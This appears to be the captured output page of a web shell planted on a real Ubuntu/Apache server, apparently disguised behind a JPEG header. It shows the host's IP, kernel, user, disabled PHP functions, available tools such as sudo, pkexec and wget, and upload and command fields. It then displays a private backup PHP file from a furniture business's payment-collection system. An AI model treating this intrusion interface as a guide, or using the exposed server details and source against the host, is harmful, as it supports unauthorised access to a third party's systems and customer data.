����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����403WebShell
403Webshell
Server IP : 74.208.127.88  /  Your IP : 216.73.216.59
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/muebles/application/main/collection/nppBackup/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/muebles/application/main/collection/nppBackup/c_item.php.2025-01-01_234555.bak
<?php
date_default_timezone_set("America/Mexico_City");
setlocale(LC_ALL,"es_ES");
session_start();
require_once ("../model/dbconn.php");
require_once ("../model/pos.php");

function display_to_sql($date){
	return substr($date,6,4).'-'.substr($date,3,2).'-'.substr($date,0,2);
}

if( isset( $_SERVER['HTTP_X_REQUESTED_WITH'] ) && ( $_SERVER['HTTP_X_REQUESTED_WITH'] == 'XMLHttpRequest' ) )
{
	$pos = new pos();
	$method=$_POST['method'];
	
	//LISTAR LA TABLA DE VENTAS DE HOY PARA MANDAR A COBRO
if($method == 'getdata_without_cobrador'){
			
			$txtdatein=$_POST['txtdatein'];
			$txtdateout = $_POST['txtdateout'];
		
			$fechiIniC = strtotime($txtdatein);
			$fechaFinC = strtotime($txtdateout);
			
			//total de pagos minimos de la cartera por cobrar
			$pendCobrar = 0;
			
		//1. primero condicion CLIENTES CON VENTA  NUEVA  deliver_sts = 0 EN TABLA t_sale entran en automatico esta condicion
			/*
			$pos = new pos();
			$arraySaleNew = $pos->getListSaleNewWithOutCorbador();
			$dataSaleN = $arraySaleNew[2];
			*/
			$posUltimoP=new pos();
			$data = array();
			
			//2. segunda condicion CLIENTES CON VENTA QUE SU PERIODO DE PAGO SEA MENSUAL 
				$posC = new pos();
				//periodo de pago id mensual =4
				$mensual = 4;
				$arraySaleMes = $posC->getListCobranzaMes($mensual);
				$dataSaleMes = $arraySaleMes[2];
				//filtrar si tocan esta semana en base al dia de primer pago comparando los dias de pago
				//echo json_encode($arraySaleMes);
				 $count=count($dataSaleMes)-1;
				//filtramos las fechas de la semana que entra 		
				$indice=0;	
				$totalMes = 0;
				foreach ($dataSaleMes as $key) {	
					if($count>=0){
						//sacamos la fecha de pago
							 $FechaPago = $dataSaleMes[$count]['paydate'];
							//separamos el string 
							$porcionesFecha = explode("-", $FechaPago);
							
							
							//comparamos el dia de pago con todos y cada uno de los dias de la semana de cobro si es igual se guarda la venta
							for($i=$fechiIniC; $i<=$fechaFinC; $i+=86400){
								//guardamos el dia de pago en una variable ya separado
									 $diaPago = $porcionesFecha[0];
								//dia de la semana 
									 $diaAcomparar = date("d", $i);
								 //si es igual lo guarda
								if($diaAcomparar == $diaPago){
								//agregamos la venta correspondiente para cobrar
								//t.total, t.disc_rp ,c.txtpayment_period, date_format( c.paydate, '%d-%m-%Y') as paydate, c.min_pay
										$data[$indice]['sale_id']= $dataSaleMes[$count]['sale_id'];
										
										//cambiamos el status a lista para cobranza esa semana
												//cambia status de en ruta 
												$status=1;
												$DeliverSts = new pos();
												$sts_delivery = $DeliverSts->changeDeliverSts($status,$data[$indice]['sale_id']);
												
										$data[$indice]['id_client']= $dataSaleMes[$count]['id_client'];
										$data[$indice]['id_seller']= $dataSaleMes[$count]['id_seller'];
										$data[$indice]['id_collector']= $dataSaleMes[$count]['id_collector'];
										$data[$indice]['sale_date']= $dataSaleMes[$count]['sale_date'];
										
										$saldoCuenta = $dataSaleMes[$count]['total'] + $dataSaleMes[$count]['disc_rp'];
												$totalMes = $totalMes + $saldoCuenta;
												
										$data[$indice]['total']= number_format($dataSaleMes[$count]['total'] + $dataSaleMes[$count]['disc_rp']);
										$data[$indice]['enganche']= $dataSaleMes[$count]['disc_rp'];
										$data[$indice]['txtpayment_period']= "M";

										
										$data[$indice]['paydate']= $dataSaleMes[$count]['paydate'];
										$data[$indice]['min_pay']= $dataSaleMes[$count]['min_pay'];
										
										$pendCobrar = $pendCobrar + $dataSaleMes[$count]['min_pay'];
										
										$data[$indice]['name_cobrador']= $dataSaleMes[$count]['name_cobrador'];
										$data[$indice]['name_client']= $dataSaleMes[$count]['cliente'];
										
										$id_client = $data[$indice]['id_client'];
										$dataUltimoP= $posUltimoP->getPaysUltimo($id_client);
										//fecha del ultimo abono
										$fechaUltimoAbono = $dataUltimoP[1]['ultimoPago'];
										//Agregamos fecha del ultimo abono
										$data[$indice]['fechaUltimoAbono'] =  $fechaUltimoAbono;
										
										//dias de pago en base a la semana
										$data[$indice]['payday'] = null;
										
										//datos de cobranza atrazada
										$posAtrazos=new pos();
										$dataAtrazos= $posAtrazos->getPaysOld($data[$indice]['sale_id']);
										//fecha del ultimo abono
										$atrazo = $dataAtrazos[1]['atrazo'];
										$data[$indice]['atrazo'] =  $atrazo;
										
										//pago minimo de abono
										$pay_min = $data[$indice]['min_pay'];
										
										//saldo 
										$pos4=new pos();
										$sale_id = $data[$indice]['sale_id'];
										$data4= $pos4->getPays($id_client,$sale_id);
										 $balance= abs($data4[1]['balance']);
										$enganche = $data[$indice]['enganche'];
										$saldo = $dataSaleMes[$count]['total'] - $balance;
										$data[$indice]['balance'] =  number_format($saldo);
										
										//monto de atrazo
										
												$montoAtrazo = $atrazo * $pay_min;
												if($montoAtrazo > $saldo){
													$montoAtrazo = $saldo;
												}
										$data[$indice]['montoAtrazo'] =  number_format($montoAtrazo);
										
										
										
								}//terminia comparacion de dias
						 
							}//termina ciclo de fechas de la semana 	
					}// termina if que no deja que se salga del indice de data
					 $count--;
					 $indice++;
				}//termina foreach
				
				
				
		/*
	   //2. si es Catorcena sea los dias 16 y 1 con la periodicidad = 3 
		*/
			$posQ = new pos();
			//periodo de pago id Catorcena =2
			$Catorcena = 2;
			$dataSaleCat = $posQ->getListCobranzaMes($Catorcena);
			$dataSaleCat = $dataSaleCat[2];
			//echo json_encode($dataSaleCat);
			
			//filtrar si tocan esta semana en base al dia 16 y 1 de cada mes comparando los dias de pago
			$count=count($dataSaleCat)-1;
				//filtramos las fechas de la semana que entra 			
			$totalCat= 0;
				foreach ($dataSaleCat as $key) {	
					if($count>=0){
						
							//comparamos el dia de pago 16 y 1 con todos y cada uno de los dias de la semana de cobro si es igual se guarda la venta
							for($i=$fechiIniC; $i<=$fechaFinC; $i+=86400){
								//sacamos la fecha de pago condicion dia 16
									  $diaPago16 = "16";
										//dia de la semana 
											 $diaAcomparar = date("d", $i);
										 //si es igual lo guarda
										if($diaAcomparar == $diaPago16){
										//agregamos la venta correspondiente para cobrar
										//t.total, t.disc_rp ,c.txtpayment_period, date_format( c.paydate, '%d-%m-%Y') as paydate, c.min_pay
												$data[$indice]['sale_id']= $dataSaleCat[$count]['sale_id'];
												
												
												//cambiamos el status a lista para cobranza esa semana
												//cambia status de en ruta 
												$status=1;
												$DeliverSts = new pos();
												$sts_delivery = $DeliverSts->changeDeliverSts($status,$data[$indice]['sale_id']);
												
												$data[$indice]['id_client']= $dataSaleCat[$count]['id_client'];
												$data[$indice]['id_seller']= $dataSaleCat[$count]['id_seller'];
												$data[$indice]['id_collector']= $dataSaleCat[$count]['id_collector'];
												$data[$indice]['sale_date']= $dataSaleCat[$count]['sale_date'];
												
												$saldoCuenta = $dataSaleCat[$count]['total'] + $dataSaleCat[$count]['disc_rp'];
												$totalCat = $totalCat + $saldoCuenta;
												
												$data[$indice]['total']= $saldoCuenta;
												$data[$indice]['enganche']= $dataSaleCat[$count]['disc_rp'];
												$data[$indice]['txtpayment_period']= "C";
												
												
												$data[$indice]['paydate']= $dataSaleCat[$count]['paydate'];
												$data[$indice]['min_pay']= $dataSaleCat[$count]['min_pay'];
												
												$pendCobrar = $pendCobrar + $dataSaleCat[$count]['min_pay'];
												
												
												$data[$indice]['name_cobrador']= $dataSaleCat[$count]['name_cobrador'];
												$data[$indice]['name_client']= $dataSaleCat[$count]['cliente'];
												
												$id_client = $data[$indice]['id_client'];
												$dataUltimoP= $posUltimoP->getPaysUltimo($id_client);
												//fecha del ultimo abono
												$fechaUltimoAbono = $dataUltimoP[1]['ultimoPago'];
												//Agregamos fecha del ultimo abono
												$data[$indice]['fechaUltimoAbono'] =  $fechaUltimoAbono;
												
												//dias de pago en base a la semana
												$data[$indice]['payday'] = $dataSaleCat[$count]['payday'];
												
												$var= $data[$indice]['payday'];
													switch($var) {
													case 7: $data[$indice]['payday']= " D";
													break;
													case 1: $data[$indice]['payday']= "L";
													break;
													case 2: $data[$indice]['payday']= "M";
													break;
													case 3: $data[$indice]['payday']= "Mi";
													break;
													case 4: $data[$indice]['payday']= "J";
													break;
													case 5: $data[$indice]['payday']= "V";
													break;
													case 6: $data[$indice]['payday']= "S";
													break;
													}
												
												//datos de cobranza atrazada
												$posAtrazos=new pos();
												$dataAtrazos= $posAtrazos->getPaysOld($data[$indice]['sale_id']);
												//fecha del ultimo abono
												$atrazo = $dataAtrazos[1]['atrazo'];
												$data[$indice]['atrazo'] =  $atrazo;
												
												//pago minimo de abono
												$pay_min = $data[$indice]['min_pay'];
												
												//saldo 
												$pos4=new pos();
												$sale_id = $data[$indice]['sale_id'];
												$data4= $pos4->getPays($id_client,$sale_id);
												 $balance= abs($data4[1]['balance']);
												$enganche = $data[$indice]['enganche'];
												$saldo = $dataSaleCat[$count]['total'] - $balance;
												$data[$indice]['balance'] =  number_format($saldo);
												
												//monto de atrazo
												
														$montoAtrazo = $atrazo * $pay_min;
														if($montoAtrazo > $saldo){
															$montoAtrazo = $saldo;
														}
												$data[$indice]['montoAtrazo'] =  number_format($montoAtrazo);
												
												
										}//terminia comparacion de dias
								
								//sacamos la fecha de pago condicion dia 1
									     $diaPago1 = "1";
										//dia de la semana 
											 $diaAcomparar = date("d", $i);
										 //si es igual lo guarda
										if($diaAcomparar == $diaPago1){
										//agregamos la venta correspondiente para cobrar
										//t.total, t.disc_rp ,c.txtpayment_period, date_format( c.paydate, '%d-%m-%Y') as paydate, c.min_pay
												$data[$indice]['sale_id']= $dataSaleCat[$count]['sale_id'];
												
												//cambiamos el status a lista para cobranza esa semana
												//cambia status de en ruta 
												$status=1;
												$DeliverSts = new pos();
												$sts_delivery = $DeliverSts->changeDeliverSts($status,$data[$indice]['sale_id']);
												
												$data[$indice]['id_client']= $dataSaleCat[$count]['id_client'];
												$data[$indice]['id_seller']= $dataSaleCat[$count]['id_seller'];
												$data[$indice]['id_collector']= $dataSaleCat[$count]['id_collector'];
												$data[$indice]['sale_date']= $dataSaleCat[$count]['sale_date'];
												
												$saldoCuenta = $dataSaleCat[$count]['total'] + $dataSaleCat[$count]['disc_rp'];
												$totalCat = $totalCat + $saldoCuenta;
												
													$data[$indice]['total']= number_format($dataSaleCat[$count]['total'] + $dataSaleCat[$count]['disc_rp']);
												$data[$indice]['enganche']= $dataSaleCat[$count]['disc_rp'];
												$data[$indice]['txtpayment_period']= "C";
												
												$data[$indice]['paydate']= $dataSaleCat[$count]['paydate'];
												$data[$indice]['min_pay']= $dataSaleCat[$count]['min_pay'];
												
												$pendCobrar = $pendCobrar + $dataSaleCat[$count]['min_pay'];
												
												$data[$indice]['name_cobrador']= $dataSaleCat[$count]['name_cobrador'];
												$data[$indice]['name_client']= $dataSaleCat[$count]['cliente'];
												
												$id_client = $data[$indice]['id_client'];
												$dataUltimoP= $posUltimoP->getPaysUltimo($id_client);
												//fecha del ultimo abono
												$fechaUltimoAbono = $dataUltimoP[1]['ultimoPago'];
												//Agregamos fecha del ultimo abono
												$data[$indice]['fechaUltimoAbono'] =  $fechaUltimoAbono;
												//dias de pago en base a la semana
												$data[$indice]['payday'] = $dataSaleCat[$count]['payday'];
												
												$var= $data[$indice]['payday'];
													switch($var) {
													case 7: $data[$indice]['payday']= " D";
													break;
													case 1: $data[$indice]['payday']= "L";
													break;
													case 2: $data[$indice]['payday']= "M";
													break;
													case 3: $data[$indice]['payday']= "Mi";
													break;
													case 4: $data[$indice]['payday']= "J";
													break;
													case 5: $data[$indice]['payday']= "V";
													break;
													case 6: $data[$indice]['payday']= "S";
													break;
													}
												
												//datos de cobranza atrazada
												$posAtrazos=new pos();
												$dataAtrazos= $posAtrazos->getPaysOld($data[$indice]['sale_id']);
												//fecha del ultimo abono
												$atrazo = $dataAtrazos[1]['atrazo'];
												$data[$indice]['atrazo'] =  $atrazo;
												
												//pago minimo de abono
												$pay_min = $data[$indice]['min_pay'];
												
												//saldo 
												$pos4=new pos();
												$sale_id = $data[$indice]['sale_id'];
												$data4= $pos4->getPays($id_client,$sale_id);
												 $balance= abs($data4[1]['balance']);
												$enganche = $data[$indice]['enganche'];
												$saldo = $dataSaleCat[$count]['total'] - $balance;
												$data[$indice]['balance'] =  number_format($saldo);
												
												//monto de atrazo
												
														$montoAtrazo = $atrazo * $pay_min;
														if($montoAtrazo > $saldo){
															$montoAtrazo = $saldo;
														}
												$data[$indice]['montoAtrazo'] =  number_format($montoAtrazo);
										
												
										}//terminia comparacion de dias
						 
							}//termina ciclo de fechas de la semana 	
					}// termina condicion de que no se salga del inidice del data
					 $count--;
					 $indice++;
				}//termina ciclo foreach		

		/*
	   //3. si es quincenal sea los dias 16 y 1 con la periodicidad = 3 
		*/
			$posQ = new pos();
			//periodo de pago id quincenal =3
			$Quincena = 3;
			$dataSaleQuin = $posQ->getListCobranzaMes($Quincena);
			$dataSaleQuin = $dataSaleQuin[2];
			//echo json_encode($dataSaleQuin);
			
			//filtrar si tocan esta semana en base al dia 16 y 1 de cada mes comparando los dias de pago
			$count=count($dataSaleQuin)-1;
				//filtramos las fechas de la semana que entra 			
			$totalQuin = 0;
				foreach ($dataSaleQuin as $key) {	
					if($count>=0){
						
							//comparamos el dia de pago 16 y 1 con todos y cada uno de los dias de la semana de cobro si es igual se guarda la venta
							for($i=$fechiIniC; $i<=$fechaFinC; $i+=86400){
								//sacamos la fecha de pago condicion dia 16
									  $diaPago16 = "16";
										//dia de la semana 
											 $diaAcomparar = date("d", $i);
										 //si es igual lo guarda
										if($diaAcomparar == $diaPago16){
										//agregamos la venta correspondiente para cobrar
										//t.total, t.disc_rp ,c.txtpayment_period, date_format( c.paydate, '%d-%m-%Y') as paydate, c.min_pay
												$data[$indice]['sale_id']= $dataSaleQuin[$count]['sale_id'];
												
												//cambiamos el status a lista para cobranza esa semana
												//cambia status de en ruta 
												$status=1;
												$DeliverSts = new pos();
												$sts_delivery = $DeliverSts->changeDeliverSts($status,$data[$indice]['sale_id']);
												
												$data[$indice]['id_client']= $dataSaleQuin[$count]['id_client'];
												$data[$indice]['id_seller']= $dataSaleQuin[$count]['id_seller'];
												$data[$indice]['id_collector']= $dataSaleQuin[$count]['id_collector'];
												$data[$indice]['sale_date']= $dataSaleQuin[$count]['sale_date'];
												
												$saldoCuenta = $dataSaleQuin[$count]['total'] + $dataSaleQuin[$count]['disc_rp'];
												$totalQuin = $totalQuin + $saldoCuenta;
												
													$data[$indice]['total']= number_format($dataSaleQuin[$count]['total'] + $dataSaleQuin[$count]['disc_rp']);
												$data[$indice]['enganche']= $dataSaleQuin[$count]['disc_rp'];
												$data[$indice]['txtpayment_period']= "Q";
												
												$data[$indice]['paydate']= $dataSaleQuin[$count]['paydate'];
												$data[$indice]['min_pay']= $dataSaleQuin[$count]['min_pay'];
												
												$pendCobrar = $pendCobrar + $dataSaleQuin[$count]['min_pay'];
												
												$data[$indice]['name_cobrador']= $dataSaleQuin[$count]['name_cobrador'];
												$data[$indice]['name_client']= $dataSaleQuin[$count]['cliente'];
												//dias de pago en base a la semana
												$data[$indice]['payday'] = $dataSaleQuin[$count]['payday'];
												
												$id_client = $data[$indice]['id_client'];
												$dataUltimoP= $posUltimoP->getPaysUltimo($id_client);
												//fecha del ultimo abono
												$fechaUltimoAbono = $dataUltimoP[1]['ultimoPago'];
												//Agregamos fecha del ultimo abono
												$data[$indice]['fechaUltimoAbono'] =  $fechaUltimoAbono;
												//dias de pago en base a la semana
												$data[$indice]['payday'] = $dataSaleQuin[$count]['payday'];
												
												$var= $data[$indice]['payday'];
													switch($var) {
													case 7: $data[$indice]['payday']= " D";
													break;
													case 1: $data[$indice]['payday']= "L";
													break;
													case 2: $data[$indice]['payday']= "M";
													break;
													case 3: $data[$indice]['payday']= "Mi";
													break;
													case 4: $data[$indice]['payday']= "J";
													break;
													case 5: $data[$indice]['payday']= "V";
													break;
													case 6: $data[$indice]['payday']= "S";
													break;
													}
												
												//datos de cobranza atrazada
												$posAtrazos=new pos();
												$dataAtrazos= $posAtrazos->getPaysOld($data[$indice]['sale_id']);
												//fecha del ultimo abono
												$atrazo = $dataAtrazos[1]['atrazo'];
												$data[$indice]['atrazo'] =  $atrazo;
												
												//pago minimo de abono
												$pay_min = $data[$indice]['min_pay'];
												
												//saldo 
												$pos4=new pos();
												$sale_id = $data[$indice]['sale_id'];
												$data4= $pos4->getPays($id_client,$sale_id);
												 $balance= abs($data4[1]['balance']);
												$enganche = $data[$indice]['enganche'];
												$saldo = $dataSaleQuin[$count]['total'] - $balance;
												$data[$indice]['balance'] =  number_format($saldo);
												
												//monto de atrazo
												
														$montoAtrazo = $atrazo * $pay_min;
														if($montoAtrazo > $saldo){
															$montoAtrazo = $saldo;
														}
												$data[$indice]['montoAtrazo'] =  number_format($montoAtrazo);
												
												
												
										}//terminia comparacion de dias
								
								//sacamos la fecha de pago condicion dia 1
									     $diaPago1 = "1";
										//dia de la semana 
											 $diaAcomparar = date("d", $i);
										 //si es igual lo guarda
										if($diaAcomparar == $diaPago1){
										//agregamos la venta correspondiente para cobrar
										//t.total, t.disc_rp ,c.txtpayment_period, date_format( c.paydate, '%d-%m-%Y') as paydate, c.min_pay
												$data[$indice]['sale_id']= $dataSaleQuin[$count]['sale_id'];
												
												//cambiamos el status a lista para cobranza esa semana
												//cambia status de en ruta 
												$status=1;
												$DeliverSts = new pos();
												$sts_delivery = $DeliverSts->changeDeliverSts($status,$data[$indice]['sale_id']);
												
												$data[$indice]['id_client']= $dataSaleQuin[$count]['id_client'];
												$data[$indice]['id_seller']= $dataSaleQuin[$count]['id_seller'];
												$data[$indice]['id_collector']= $dataSaleQuin[$count]['id_collector'];
												$data[$indice]['sale_date']= $dataSaleQuin[$count]['sale_date'];
												
												$data[$indice]['total']= $dataSaleQuin[$count]['total'] + $dataSaleQuin[$count]['disc_rp'];
												$data[$indice]['enganche']= $dataSaleQuin[$count]['disc_rp'];
												$data[$indice]['txtpayment_period']= "Q";
												
												$data[$indice]['paydate']= $dataSaleQuin[$count]['paydate'];
												$data[$indice]['min_pay']= $dataSaleQuin[$count]['min_pay'];
												
												$pendCobrar = $pendCobrar + $dataSaleQuin[$count]['min_pay'];
												
												$data[$indice]['name_cobrador']= $dataSaleQuin[$count]['name_cobrador'];
												$data[$indice]['name_client']= $dataSaleQuin[$count]['cliente'];
												$id_client = $data[$indice]['id_client'];
												$dataUltimoP= $posUltimoP->getPaysUltimo($id_client);
												//fecha del ultimo abono
												$fechaUltimoAbono = $dataUltimoP[1]['ultimoPago'];
												//Agregamos fecha del ultimo abono
												$data[$indice]['fechaUltimoAbono'] =  $fechaUltimoAbono;
												
												//dias de pago en base a la semana
												$data[$indice]['payday'] = $dataSaleQuin[$count]['payday'];
												
												$var= $data[$indice]['payday'];
													switch($var) {
													case 7: $data[$indice]['payday']= " D";
													break;
													case 1: $data[$indice]['payday']= "L";
													break;
													case 2: $data[$indice]['payday']= "M";
													break;
													case 3: $data[$indice]['payday']= "Mi";
													break;
													case 4: $data[$indice]['payday']= "J";
													break;
													case 5: $data[$indice]['payday']= "V";
													break;
													case 6: $data[$indice]['payday']= "S";
													break;
													}
												
												//datos de cobranza atrazada
												$posAtrazos=new pos();
												$dataAtrazos= $posAtrazos->getPaysOld($data[$indice]['sale_id']);
												//fecha del ultimo abono
												$atrazo = $dataAtrazos[1]['atrazo'];
												$data[$indice]['atrazo'] =  $atrazo;
												
												//pago minimo de abono
												$pay_min = $data[$indice]['min_pay'];
												
												//saldo 
												$pos4=new pos();
												$sale_id = $data[$indice]['sale_id'];
												$data4= $pos4->getPays($id_client,$sale_id);
												 $balance= abs($data4[1]['balance']);
												$enganche = $data[$indice]['enganche'];
												$saldo = $dataSaleQuin[$count]['total'] - $balance;
												$data[$indice]['balance'] =  number_format($saldo);
												
												//monto de atrazo
												
														$montoAtrazo = $atrazo * $pay_min;
														if($montoAtrazo > $saldo){
															$montoAtrazo = $saldo;
														}
												$data[$indice]['montoAtrazo'] =  number_format($montoAtrazo);
										
										}//terminia comparacion de dias
						 
							}//termina ciclo de fechas de la semana 	
					}// termina condicion de que no se salga del inidice del data
					 $count--;
					 $indice++;
				}//termina ciclo foreach
		
	
		/*
	   //1. si es semanal se agregan todas las ventas  periodicidad = 1
		*/
			$posS = new pos();
			//periodo de pago id quincenal =1
			$Semanal = 1;
			$dataSaleSem = $posS->getListCobranzaMes($Semanal);
			$dataSaleSem = $dataSaleSem[2];
			//echo json_encode($dataSaleSem);
			
			//filtrar si tocan esta semana en base al dia 16 y 1 de cada mes comparando los dias de pago
			$count=count($dataSaleSem)-1;
			$totalSem= 0;
			foreach ($dataSaleSem as $key) {
						$data[$indice]['sale_id']= $dataSaleSem[$count]['sale_id'];
						
						//cambiamos el status a lista para cobranza esa semana
						//cambia status de en ruta 
						$status=1;
						$DeliverSts = new pos();
					    $sts_delivery = $DeliverSts->changeDeliverSts($status,$data[$indice]['sale_id']);
						
						$data[$indice]['id_client']= $dataSaleSem[$count]['id_client'];
						$data[$indice]['id_seller']= $dataSaleSem[$count]['id_seller'];
						$data[$indice]['id_collector']= $dataSaleSem[$count]['id_collector'];
						$data[$indice]['sale_date']= $dataSaleSem[$count]['sale_date'];
						
						$saldoCuenta = $dataSaleSem[$count]['total'] + $dataSaleSem[$count]['disc_rp'];
						$totalSem = $totalSem + $saldoCuenta;
												
						$data[$indice]['total']= number_format($dataSaleSem[$count]['total'] + $dataSaleSem[$count]['disc_rp']);
						$data[$indice]['enganche']= $dataSaleSem[$count]['disc_rp'];
						$data[$indice]['txtpayment_period']= "S";
												
						$data[$indice]['paydate']= $dataSaleSem[$count]['paydate'];
						$data[$indice]['min_pay']= $dataSaleSem[$count]['min_pay'];
						
						$pendCobrar = $pendCobrar + $dataSaleSem[$count]['min_pay'];
						
						$data[$indice]['name_cobrador']= $dataSaleSem[$count]['name_cobrador'];
						$data[$indice]['name_client']= $dataSaleSem[$count]['cliente'];
						
						$id_client = $data[$indice]['id_client'];
						$dataUltimoP= $posUltimoP->getPaysUltimo($id_client);
						//fecha del ultimo abono
						$fechaUltimoAbono = $dataUltimoP[1]['ultimoPago'];
						//Agregamos fecha del ultimo abono
						$data[$indice]['fechaUltimoAbono'] =  $fechaUltimoAbono;
						
						//dias de pago en base a la semana
						$data[$indice]['payday'] = $dataSaleSem[$count]['payday'];
						
						$var= $data[$indice]['payday'];
							switch($var) {
							case 7: $data[$indice]['payday']= " D";
							break;
							case 1: $data[$indice]['payday']= "L";
							break;
							case 2: $data[$indice]['payday']= "M";
							break;
							case 3: $data[$indice]['payday']= "Mi";
							break;
							case 4: $data[$indice]['payday']= "J";
							break;
							case 5: $data[$indice]['payday']= "V";
							break;
							case 6: $data[$indice]['payday']= "S";
							break;
						}
													
						//datos de cobranza atrazada
						$posAtrazos=new pos();
						$dataAtrazos= $posAtrazos->getPaysOld($data[$indice]['sale_id']);
					    //fecha del ultimo abono
						$atrazo = $dataAtrazos[1]['atrazo'];
						$data[$indice]['atrazo'] =  $atrazo;
												
						//pago minimo de abono
						$pay_min = $data[$indice]['min_pay'];
												
						//saldo 
						$pos4=new pos();
						$sale_id = $data[$indice]['sale_id'];
						$data4= $pos4->getPays($id_client,$sale_id);
						$balance= abs($data4[1]['balance']);
						$enganche = $data[$indice]['enganche'];
						$saldo = $dataSaleSem[$count]['total'] - $balance;
						$data[$indice]['balance'] =  number_format($saldo);
												
						//monto de atrazo
												
						$montoAtrazo = $atrazo * $pay_min;
							if($montoAtrazo > $saldo){
									$montoAtrazo = $saldo;
							}
						$data[$indice]['montoAtrazo'] =  number_format($montoAtrazo);
										
						
		     $indice++;	
			 $count--;
			}//termina foreach
			
		//echo json_encode($array);
		$i=0;
		$dataX = array();
		
		//total a cobrar
		$CuentasxCobrar = 0;
		foreach($data as $array2){
			
			$dataX[$i]['sale_id'] = $array2["sale_id"];
			
			//obtenemos la mercancia de la venta
			$mercancia = $pos->getSaleDetails($dataX[$i]['sale_id']);
			//print_r($mercancia[1]);
			if(isset($mercancia[1]["item_name"])){
			$dataX[$i]['mercancia'] = $mercancia[1]["item_name"];
			}else{
				$dataX[$i]['mercancia'] ="Sin detalle de mercancia";
			}
			
			$dataX[$i]['sale_date'] = $array2["sale_date"];
			$dataX[$i]['id_client']= $array2['id_client'];
			
			//buscar direccion del cliente x contrato
			$cliente = $pos->getByIdClientContract($dataX[$i]['id_client']);
			
			$dataX[$i]['id_seller']= $array2['id_seller'];
			$dataX[$i]['id_collector']= $array2['id_collector'];
			
			
			$dataX[$i]['total']= "$ ".$array2['total'];
			
			$dataX[$i]['enganche']= $array2['enganche'];
			$dataX[$i]['txtpayment_period']=  $array2['txtpayment_period'];
			$dataX[$i]['paydate']= $array2['paydate'];
			$dataX[$i]['pay_min']= "$ ".$array2['min_pay'];
			$dataX[$i]['name_cobrador']= $array2['name_cobrador'];
			$dataX[$i]['name_client']= $array2['name_client']."/".$cliente[1]['direccion'];
			$dataX[$i]['payday']= $array2['payday'];
			$dataX[$i]['fechaUltimoAbono']= $array2['fechaUltimoAbono'];
			$dataX[$i]['atrazo']= "$ ".$array2['atrazo'];
			$dataX[$i]['montoAtrazo']= "$ ".$array2['montoAtrazo'];
			$dataX[$i]['balance']= "$ ".$array2['balance'];
			
		$i++;	
		}
		$dataX = array('data' => $dataX);
		
		//obtenemos semana
		  $fechaActual = date($txtdateout);	
		  $fechaSegundos = strtotime($fechaActual);	
		  $semanas = date('W', $fechaSegundos);
		//calculamos el monto a cobrar
		$CuentasxCobrar = $totalMes + $totalCat + $totalQuin + $totalSem;

		//guardamos el registro de la cuenta el total de cobranza de esa semana
			$posCounts = new pos();
			$saveCounts = $posCounts->saveAcounts($semanas,$CuentasxCobrar,$pendCobrar,$txtdatein,$txtdateout);
			
		//validamos que se haya guardado la cuenta x c y enviamos los datos de la cobranza	
		if($saveCounts[0] == true){
			echo json_encode($dataX);
		}else{
			$dataX = $saveCounts;
			echo json_encode($dataX);
		}
		
	}
	
	
	//AGREGAR LISTA DE COBRANZA EN BASE A VENTAS
if($method == 'getdata'){
		$pos = new pos();
		$id_empl=isset($_POST['id_empl'])?$_POST['id_empl']:false;
		$array = $pos->getListCollection($id_empl);
		$data = $array[2];
		$i=0;
		foreach ($data as $key) {
			$button = ' <button  type="submit" id_item="'.$key['sale_id'].'"  title="Dar de Baja Cliente" class="btn btn-danger btn-sm btndelete btn-block"  id="btndelete'.$key['sale_id'].'"  ><i class="fa fa-trash"></i>   Baja Cliente</button>';
			
			//1. el sale_id esta en la busqueda de $data como $data['sale_id']
			
			//1a. obtenemos el id del cliente en base al contrato
				$id_item=$data[$i]['id_client'];
				$pos2 = new pos();
				$array2 = $pos2->getCustomer($id_item);
				$id_cust = $array2[1]['id_cust'];
				$name_client = $array2[1]['name'];
				if($id_item<10){
					$name_client = 'VENTA PUBLICO EN GENERAL';
				}
			//2a. ahora obtenemos pago minimo
				$pos3=new pos();
				$data3= $pos3->getCollectionPay($id_cust);
				$pay_min= $data3[1]['min_pay'];
				$payday = $data3[1]['payday'];
				$txtpayment_period = $data3[1]['txtpayment_period'];
				
				switch($txtpayment_period) {
				case 1: $txtpayment_period= "S";
				break;
				case 2: $txtpayment_period= "C";
				break;
				case 3: $txtpayment_period= "Q";	
				break;
				case 4: $txtpayment_period= "M";
				break;
				case 0: $txtpayment_period= "S";
				break;
				}
			//2b. obtenemos el enganche	
				$enganche= $data[$i]['disc_rp'];
			
			//2c. obtenemos la fecha del siguiente abono en baso a dias de pago y periodicidad	
				$date_pay1=date("l j F, Y");
				
			//4. obtenemos si hay abonos y hacemos diferencia del total para que se obtenga el saldo	
				//saldo = total- enganche - (abonos); 
				$pos4=new pos();
				$sale_id = $data[$i]['sale_id'];
				$data4= $pos4->getPays($id_item,$sale_id);
				$balance= abs($data4[1]['balance']);
				$saldo = $data[$i]['total'] - $enganche - $balance;
				
			//5.obtenemos el nombre del cobrador	
				$pos5=new pos();
				$collector_id = $data[$i]['id_collector'];
				$data5= $pos5->getEmployee($collector_id);
				$name_repartidor = $data5[1]['name'];
				
			//6a. fecha del primer abono en base a los registros que se tienen
				$pos6=new pos();
				$data6= $pos6->getPaysUltimo($id_item);
				//fecha del ultimo abono
				$fechaUltimoAbono = $data6[1]['ultimoPago'];
				
			//6. fecha del ultimo pago
				$fechaPrimerAbono = $data6[1]['primerPago'];

				$var= $payday;
				switch($var) {
				case 7: $payday= " domingo";
				break;
				case 1: $payday= "Lunes";
				break;
				case 2: $payday= "Martes";
				break;
				case 3: $payday= "Miercoles";
				break;
				case 4: $payday= "Jueves";
				break;
